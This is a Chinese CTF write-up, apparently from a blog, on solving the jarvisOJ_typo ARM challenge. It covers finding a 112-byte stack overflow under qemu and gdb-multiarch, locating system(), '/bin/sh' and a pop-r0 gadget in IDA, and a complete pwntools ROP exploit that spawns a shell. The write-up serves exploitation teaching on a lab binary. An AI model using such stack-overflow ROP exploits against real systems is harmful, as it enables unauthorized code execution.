通过一道ARM PWN题引发的思考:jarvisOJ_typo

一、前言

最近做了一道ARM架构的PWN题,给我带来很多的思考。为什么要做ARM的呢?因为在很久之前就提及过想要向IoT漏洞挖掘方面进行延展,并且有过一段时间去复现一些路由器的漏洞,但是感觉基础并不是很扎实。所以这段时间潜心学习ARM寄存器及指令集,并且通过接下来的这道ARM PWN题进行实践与摸索,文章的末尾也会列出通过这道题带来的一些感悟

希望我们都能找到自己的方向,按照计划不断前行。编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks♪(・ω・)ノ

往期回顾:
ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建
好好说话之House Of Einherjar
(补题)HITCON 2018 PWN baby_tcache超详细讲解
好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc
(补题)LCTF2018 PWN easy_heap超详细讲解
好好说话之Tcache Attack(3):tcache stashing unlink attack
好好说话之Tcache Attack(2):tcache dup与tcache house of spirit
好好说话之Tcache Attack(1):tcache基础与tcache poisoning
好好说话之Large Bin Attack
好好说话之Unsorted Bin Attack
好好说话之Fastbin Attack(4):Arbitrary Alloc
(补题)2015 9447 CTF : Search Engine
好好说话之Fastbin Attack(3):Alloc to Stack
好好说话之Fastbin Attack(2):House Of Spirit
好好说话之Fastbin Attack(1):Fastbin Double Free
好好说话之Use After Free
好好说话之unlink

二、jarvisOJ_typo

上一篇文章ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建介绍了新环境的搭建,如果你没有有ARM结构的相关交叉编译环境或者动态链接库的话,可以点击蓝色文字先安装一下环境

题目链接:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/arm/jarvisOJ_typo

2.1 检查一下程序

首先我们使用file命令查看一下这个程序:

在这里插入图片描述

通过显示出来的信息,我们可以看到这是一个32位ARM机构的ELF文件,并且程序本身在编译阶段采用了静态链接。通过上述信息我们将会有以下几个反映:

  • 需要使用qemu-arm来启动程序,并且由于是静态链接,所以在调试过程中不需要加-L参数来链接.so文件
  • 由于程序本身是静态链接,所以如果我们想要去找一些函数(system()函数)或者字符串(比如/binsh)都可以在程序中搜索到

接下来我们使用checksec检查一下程序开启的各项保护(下方check命令是我checksec的自定义命令别名)

在这里插入图片描述
可以看到程序只开启了NX保护

2.2 运行程序看看

接下来我们使用qemu运行一下这个程序,使用qemu-arm typo

在这里插入图片描述

我们一起来看一下这个程序的执行流程,首先运行之后会提示我们输入回车后开始执行程序流程,在输入回车后会等待我们输入数据。接下来我们第一次输入数据hollk_first_input,显示错误”E.r.r.o.r“,接下来等待输入数据。接下来我们第二次输入数据-1结果依然还是显示错误并且需要重新输入,第三次输入数据%p%p%p...%p回显情况相同

那么通过第一次尝试程序的执行过程,我们可知:

  • 程序具有两个主要的输入点:第一处为进入程序后需要输入的回车,第二处为主流程中输入数据
  • 尝试输入不同数据后依然显示error,说明程序本身对输入的数据进行了某种校验,或者根本就没有校验,无论输入什么都显示error
  • 并没有发现其他类似堆管理器创建、释放等操作,所以暂时排除堆溢出的可能
  • 在第二次输入数据时输入数值”-1“,回显情况与输入字符串一样,所以暂时排除整数溢出
  • 第三次输入数据%p%p%p...%p回显情况相同,所以暂时排除格式化字符串漏洞

2.2.1 凭什么只能输入回车?我就不!

通过前面运行程序我们大致确定这是一个栈溢出的程序,那么就针对逐个输入点进行排查,首先是第一个输入回车的部分。这里其实不仅仅只能输入一个回车,还可以输入其他的数据,下面我们尝试输入一堆没有用的字符:

在这里插入图片描述

当我们输入数据this_is_not_an_instruction后,程序直接退出,并且回显his_is_not_an_instruction:未找到命令,在Linux下出现这种报错回显的情况,一般是输入了一个不合法的指令后出现的。这表明我们输入的我们输入的数据会被当做命令执行,而且可以看到输入的命令其实会被吃掉第一个文字,所以接下来我们用wwhoami去验证一下我们的猜测:

在这里插入图片描述

可以看到我们猜测的执行效果是没有问题的,那么从这里我们第一时间应该想到的是此程序一定会有执行system("/bin/sh")的流程,那么通过一会的静态分析阶段我们可以大胆的去找这两个关键点

2.2.2 尝试输入过长字符串判断溢出点

接下来我们对第二处输入点进行测试,使用cyclic创建200个字节的字符串,在第二处输入点进行输入:

在这里插入图片描述

可以看到在第二处输入点输入200个字节的数据后,程序发生了核心转储,这意味着我们输入的数据造成了溢出,导致程序跳转(ARM为跳转、x86为返回)至一个不合法的地址,这导致了程序的崩溃。那么接下来我们通过qemu配合gdb-multiarch计算一下这个溢出点的缓冲区长度。首先使用下面的命令启动程序并等待gdb-multiarch链接调试:(当前qemu启动窗口后称窗口1)

qemu-arm -g 1212 typo
# -g参数指定gdb链接端口,因为是静态链接,所以不需要-L参数指定动态链接库

在这里插入图片描述

接下来我们重新开启一个窗口使用下列命令链接:(当前gdb-multiarch窗口后称窗口2)

gdb-multiarch #启动gdb-multiarch
pwndbg> set arch arm #设置程序架构为arm架构
pwndbg> target remote 127.0.0.1:1212 #链接本地qemu的调试端口

在这里插入图片描述

接下来在gdb中输入命令c,继续执行程序。可以看到窗口1继续执行程序流程,我们在第二处输入由cyclic创建的200个字节的字符:

在这里插入图片描述

回车后返回至窗口2查看溢出情况:

在这里插入图片描述

可以看到程序PC指针指向0x62616164导致系统崩溃,使用命令cyclic -l 0x62616164计算出缓冲区大小:

在这里插入图片描述

可看到计算出缓冲区长度为112

2.3 静态分析

接下来我们静态分析一下这个程序:

在这里插入图片描述

可以看到由于无法加载符号表,所以加载的函数除了start外其他均不显示函数名,左侧函数表内显示600多个sub函数,如果我们一个一个函数去找的话是一件很浪费时间的事情。所以需要仔细想一想我们想要找的是什么,如何才能快速精确定位:

  • 首先我们现在已经计算出了缓冲区长度112
  • 其次该程序为静态链接,所以在字符串表中可以找到”/bin/sh“字符串的地址,这就是我们要找的第一个点
  • 我们知道程序本身是有执行指令的功能,所以程序内一定存在system()函数或者execve()函数,那找到执行函数就是第二个点

2.3.1 寻找/bin/sh字符串

在ida中使用shift + F12查看字符串表,可在其中发现”/bin/sh“字符串

在这里插入图片描述

接下来双击该处,可以看到该字符串地址:0x6c384

在这里插入图片描述

2.3.2 寻找system()函数

接下来我们按x对aBinSh进行交叉搜索:

在这里插入图片描述

可看到在sub_10BA8()函数中引用了”/bin/sh“字符串,双击进入后通过对代码的解读,可发现该函数类似do_system()函数

在这里插入图片描述

system()函数在执行时会调用do_system()函数进行操作,那么我们按x交叉搜索sub_10BA8()函数,可以检索到sub_110B4()函数
在这里插入图片描述

我们将sub_110B4()函数与system()函数进行比较:

在这里插入图片描述

通过程序的执行流程可发现,sub_110B4()函数即为system()函数。因此我们可以得到system()函数地址为0x110B4

2.4 寻找gadget

现在我们搜集到的信息如下:

  • 缓冲区长度:112
  • system()函数地址:0x110B4
  • /bin/sh字符串地址:0x6c384

我们最后需要的就是寻找一段gadget,将/bin/sh字符串地址作为system()函数的参数部署在r0寄存器中。这里我们使用ROPgadget,寻找可以使用的gadget:

在这里插入图片描述

可以看到只找到了一条可用的gadge:0x20904,其中还想r4寄存器pop数据,所以在构造payload的时候需要有一个四字节的内容供r4使用

2.5 payload构造

payload构造如下:

payload = b"a"*overlength + p32(pop_r0_r4_pc) + p32(binsh)*2 + p32(system)

栈中部署情况:

在这里插入图片描述

2.6 EXP

  1 from pwn import *
  2 import time
  3 context.arch="arm"
  4 context.log_level="debug"
  5 
  6 overlength = 112
  7 binsh = 0x0006c384
  8 pop_r0_r4_pc = 0x00020904
  9 system = 0x000110B4
 10 
 11 p = process(["qemu-arm","./typo"])
 12 payload = b"a"*overlength + p32(pop_r0_r4_pc) + p32(binsh)*2 + p32(system)
 13 
 14 p.recvuntil("quit\n")
 15 p.send("\n")
 16 
 17 p.recvuntil("\n")
 18 p.sendline(payload)
 19 
 20 p.interactive()

三、总结

通过这道PWN题,有几个点是值得我记录反思的:

3.1 一定要死磕ida吗?

按照以前做x86程序的时候,我们拿到一个程序后可能在检查过文件属性和保护机制后,直接就扔进ida进行静态分析了。这是因为以前做的题工程量并不是很大,并且由于是CTF例题的原因,大部分程序的函数量较少且标明函数名称,因此我们直接去进行静态分析完全OK

但是通过这道题,我们发现相当之多的函数量,并且没有函数名称。这个时候我们就可以转战去运行程序,通过正常的程序交互来初步确定一些可能出现问题的点

3.2 函数源码一定要多看

其次让我印象比较深刻的就是寻找system()函数的过程,虽然我们是从/bin/sh字符串来找到的system()函数,但是这只是运气好而已,最终我们确定sub_110B4()为system()函数,是由于对代码的解读。所以一些敏感函数如:system()函数、execve()函数、popen()函数、strcpy()函数等函数源码还是需要深入的了解一下

在这里插入图片描述

  • 20
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 7
    评论
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hollk

要不赏点?

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值